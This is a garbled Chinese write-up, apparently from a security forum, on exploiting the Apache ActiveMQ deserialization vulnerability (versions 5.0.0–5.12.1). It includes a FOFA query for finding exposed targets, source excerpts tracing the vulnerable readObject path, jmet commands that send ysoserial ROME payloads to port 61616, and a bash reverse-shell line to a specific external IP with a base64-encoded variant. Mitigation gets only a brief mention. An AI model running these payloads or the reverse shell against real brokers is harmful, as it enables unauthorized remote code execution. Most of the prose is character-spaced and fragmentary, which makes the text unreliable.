[19780] 2021-07-06_ApacheActiveMQ反序列化漏洞

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-07-06_ApacheActiveMQ反序列化漏洞 A p a c h e   A c t i v e M Q i   2 0 2 1 - 0 7 - 0 6   i   l i n u x A p a c h e   A c t i v e M Q ( A p a c h e ) J a v a S p r i n g F r a m e w o r k 6 1 6 1 6 8 1 6 1 W e b J e t t y S e r v l e t J a v a W e b J S P S e r v l e t A c t i v e M Q   5 . 0 J e t t y A c t i v e M Q W e b p w n t e s t e r A p a c h e   A c t i v e M Q 使 G a d g e t A p a c h e   A c t i v e M Q   5 . 0 . 0   ~   5 . 1 2 . 1 F O F A t i t l e s e r v e r t i t l e = " A p a c h e   A c t i v e M Q "   & &   s e r v e r = " J e t t y ( 8 . 1 . 1 6 . v 2 0 1 4 0 9 0 3 ) " 2 0 1 4
A p a c h e   A c t i v e M Q     5 . 1 1 . 1 A c t i v e M Q A p a c h e   A c t i v e M Q A c t i v e M Q A c t i v e M Q 访 A c t i v e M Q   A c t i v e M Q   5 . 7 . 0   : h t t p : / / a r c h i v e . a p a c h e . o r g / d i s t / a c t i v e m q / a p a c h e - a c t i v e m q / 5 . 7 . 0 / a p a c h e - a c t i v e m q - 5 . 7 . 0 - b i n . t a r . g z   A c t i v e M Q   5 . 7 . 0   : h t t p : / / a r c h i v e . a p a c h e . o r g / d i s t / a c t i v e m q / a p a c h e - a c t i v e m q / 5 . 7 . 0 / a c t i v e m q - p a r e n t - 5 . 7 . 0 - s o u r c e - r e l e a s e . z i p J D K
A p a c h e   A c t i v e M Q 访 h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 6 1 / c d   a c t i v e M Q / a p a c h e - a c t i v e m q - 5 . 7 . 0 / b i n . / a c t i v e m q   s t a r t n e t s t a t   - a n   |   g r e p   6 1 6 1 6
A c t i v e M Q a d m i n / a d m i n M Q 6 1 6 1 6 W e b 8 1 6 1 N m a p A c t i v e M Q 使 A c t i v e M Q A c t i v e M Q J M S 使 J M X A c t i v e M Q B r o k e r B r o k e r 使 J M X J M S   O b j e c t J a v a / p a y l o a d A c t i v e M Q W e b 使 S t o m p 使 B r o k e r M Q 使 O b j e c t M e s s a g e O b j e c t M e s s a g e . g e t O b j e c t (   )
A c t i v e M Q j m e t . j a r ! d e . c o d e w h i t e . j m e t . t a r g e t . i m p l . A c t i v e M Q T a r g e t # i n i t ( ) A c t i v e M Q a c t i v e m q - p a r e n t - 5 . 7 . 0 a c t i v e m q - w e b - j m e t . j a r ! d e . c o d e w h i t e . j m e t . t a r g e t . i m p l . A c t i v e M Q T a r g e t # i n i t ( ) t r y   {                         f a c t o r y   =   n e w   A c t i v e M Q C o n n e c t i o n F a c t o r y ( " t c p : / / "   +   g e t H o s t ( )   +   " : "   +   g e t P o r t ( ) ) ;                         c o n n e c t i o n   =   f a c t o r y . c r e a t e C o n n e c t i o n ( g e t U s e r ( ) ,   g e t P a s s w o r d ( ) ) ;                         s e s s i o n   =   c o n n e c t i o n . c r e a t e S e s s i o n ( f a l s e ,   A c t i v e M Q S e s s i o n . A U T O _ A C K N O W L E D G E ) ;                         s w i t c h   ( g e t D e s t T y p e ( ) )   {                                 c a s e   Q U E U E :                                         d e s t   =   n e w   A c t i v e M Q Q u e u e ( g e t D e s t i n a t i o n ( ) ) ;                                         b r e a k ;                                 c a s e   T O P I C :                                         d e s t   =   n e w   A c t i v e M Q T o p i c ( g e t D e s t i n a t i o n ( ) ) ;                                         b r e a k ;                         }                         p r o d u c e r   =   s e s s i o n . c r e a t e P r o d u c e r ( d e s t ) ;                         c o n n e c t i o n . s t a r t ( ) ; }   c a t c h   ( J M * * c e p t i o n   e )   {                         t h r o w   n e w   I n i t E x c e p t i o n ( e . f i l l I n S t a c k T r a c e ( ) ) ; }
c o n s o l e s r c m a i n w e b a p p m e s s a g e . j s p m e s s a g e . j s p m e s s a g e Q u e r y . j a v a a c t i v e m q - p a r e n t - 5 . 7 . 0 a c t i v e m q - w e b - c o n s o l e s r c m a i n w e b a p p m e s s a g e . j s p l i n e   1 5 8 - 1 7 1 < t a b l e   i d = " b o d y "   w i d t h = " 1 0 0 % " >                                                                 < t h e a d >                                                                                 < t r >                                                                                                 < t h >                                                                                                         M e s s a g e   D e t a i l s                                                                                                 < / t h >                                                                                 < / t r >                                                                 < / t h e a d >                                                                 < t b o d y >                                                                                 < t r >                                                                                                 < t d > < d i v   c l a s s = " m e s s a g e " > < p r e   c l a s s = " p r e t t y p r i n t " > < c : o u t   v a l u e                                                                                 < / t r >                                                                 < / t b o d y >                                                 < / t a b l e >
O b j e c t M e s s a g e . g e t o b j e c t (   ) A c t i v e M Q O b j e c t M e s s a g e a c t i v e m q - p a r e n t - 5 . 7 . 0 - s o u r c e - r e l e a s e a c t i v e m q - p a r e n t - 5 . 7 . 0 a c t i v e m q - c o r e s r c m a i n j a v a o r g a p a c h e a c t i v e m q b r o k e r r e g i o n p o l i c y M e s s a g e Q u e r y . j a v a l i n e   7 5 - 9 2 p u b l i c   O b j e c t   g e t B o d y ( )   t h r o w s   J M * * c e p t i o n   {                 M e s s a g e   m e s s a g e   =   g e t M e s s a g e ( ) ;                 i f   ( m e s s a g e   i n s t a n c e o f   T e x t M e s s a g e )   {                         r e t u r n   ( ( T e x t M e s s a g e )   m e s s a g e ) . g e t T e x t ( ) ;                 }                 i f   ( m e s s a g e   i n s t a n c e o f   O b j e c t M e s s a g e )   {                         t r y   {                                 r e t u r n   ( ( O b j e c t M e s s a g e )   m e s s a g e ) . g e t O b j e c t ( ) ;                         }   c a t c h   ( J M * * c e p t i o n   e )   {                                 / / m e s s a g e   c o u l d   n o t   b e   p a r s e d ,   m a k e   t h e   r e a s o n   a v a i l a b l e                                 r e t u r n   e ;                         }                 }         i f   ( m e s s a g e   i n s t a n c e o f   M a p M e s s a g e )   {                 r e t u r n   c r e a t e M a p B o d y ( ( M a p M e s s a g e )   m e s s a g e ) ;         }         r e t u r n   n u l l ; }
m e s s a g e . j s p - > M e s s a g e Q u e r y . g e t B o d y (   ) - > A c t i v e M Q O b j e c t M e s s a g e . g e t O b j e c t (   ) - > d a t a i n p u t . r e a d O b j e c t (   ) 使 G a d g e t y s o s e r i a l . j a r G a d g e t 使 j m e t . j a r e x t e r n a l a c t i v e m q - p a r e n t - 5 . 7 . 0 - s o u r c e - r e l e a s e a c t i v e m q - p a r e n t - 5 . 7 . 0 a c t i v e m q - c o r e s r c m a i n j a v a o r g a p a c h e a c t i v e m q c o m m a n d A c t i v e M Q M e s s a g e . j a v a l i n e   1 7 4 - 1 9 6   p u b l i c   c l a s s   A c t i v e M Q O b j e c t M e s s a g e   e x t e n d s   A c t i v e M Q M e s s a g e   i m p l e m e n t s   O b j e c t M e s s a g e   { . . .         p u b l i c   S e r i a l i z a b l e   g e t O b j e c t ( )   t h r o w s   J M * * c e p t i o n   {                 i f   ( o b j e c t   = =   n u l l   & &   g e t C o n t e n t ( )   ! =   n u l l )   {                         t r y   {                                 B y t e S e q u e n c e   c o n t e n t   =   g e t C o n t e n t ( ) ;                                 I n p u t S t r e a m   i s   =   n e w   B y t e A r r a y I n p u t S t r e a m ( c o n t e n t ) ;                                 i f   ( i s C o m p r e s s e d ( ) )   {                                         i s   =   n e w   I n f l a t e r I n p u t S t r e a m ( i s ) ;                                 }                                 D a t a I n p u t S t r e a m   d a t a I n   =   n e w   D a t a I n p u t S t r e a m ( i s ) ;                                 C l a s s L o a d i n g A w a r e O b j e c t I n p u t S t r e a m   o b j I n   =   n e w   C l a s s L o a d i n g A w a r e O b j e c t I n p u t S t r e a m ( d a t a I n ) ;                                 t r y   {                                         o b j e c t   =   ( S e r i a l i z a b l e ) o b j I n . r e a d O b j e c t ( ) ;                                 }   c a t c h   ( C l a s s N o t F o u n d E x c e p t i o n   c e )   {                                         t h r o w   J M * * c e p t i o n S u p p o r t . c r e a t e ( " F a i l e d   t o   b u i l d   b o d y   f r o m   c o n t e n t .   S e r i a l i z a b l e   c l a s s   n o t   a v a i l a b l e   t o   b r o k e r .   R e a s o n :   "                                 }   f i n a l l y   {                                         d a t a I n . c l o s e ( ) ;                                 }                         }   c a t c h   ( I O E x c e p t i o n   e )   {                                 t h r o w   J M * * c e p t i o n S u p p o r t . c r e a t e ( " F a i l e d   t o   b u i l d   b o d y   f r o m   b y t e s .   R e a s o n :   "   +   e ,   e ) ;                         }                 }                 r e t u r n   t h i s . o b j e c t ;         } . . . }
j m e t . j a r y s o s e r i a l P a y l o a d M Q 使 j a v a   - j a r   j m e t - 0 . 1 . 0 - a l l . j a r   - Q   a l i c e   - I   A c t i v e M Q   - s   - Y   " t o u c h   / t m p / s u c c e s s "   - Y p   R O M E   1 7 2 . 1 6 . 3 3 . 1 5 7   6 1 6 1 6 - Q a l i c e - I A c t i v e M Q   - s     y s o s e r i a l   p a y l o a d   - Y     - Y p     R O M E G a d g e t 3 1 使 j m e t 2 M Q - 6 1 6 1 6 3 访 W e b G a d g e t j m e t . j a r 访 a l i c e I D s h e l l b a s h
V P S 使 N C S h e l l R C E 1   5 . 1 3 . 0   C l a s s L o a d i n g A w a r e O b j e c t I n p u t S t r e a m # r e s o l v e C l a s s (   ) C l a s s L o a d i n g A w a r e O b j e c t I n p u t S t r e a m # r e s o l v e P r o x y C l a s s (   )   c h e c k S e c u r i t y (   ) o r g . a p a c h e . a c t i v e m q . S E R I A L I Z A B L E _ P A C K A G E S c h e c k S e c u r i t y ( ) b a s h   - i   > &   / d e v / t c p / 8 2 . 1 5 6 . 1 9 6 . 1 6 0 / 2 3 4 5 6   0 > & 1 b a s h   - c   { e c h o , B A S E 6 4 - C O M M A N D } | { b a s e 6 4 , - d } | { b a s h , - i } j a v a   - j a r   j m e t - 0 . 1 . 0 - a l l . j a r   - Q   e v e n t   - I   A c t i v e M Q   - s   - Y   " "   - Y p   R O M E   V P S - I P   6 1 6 1 6                 j a v a . l a n g                 j a v a . u t i l                 o r g . a p a c h e . a c t i v e m q                 o r g . f u s e s o u r c e . h a w t b u f                 c o m . t h o u g h t w o r k s . x s t r e a m . m a p p e r
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则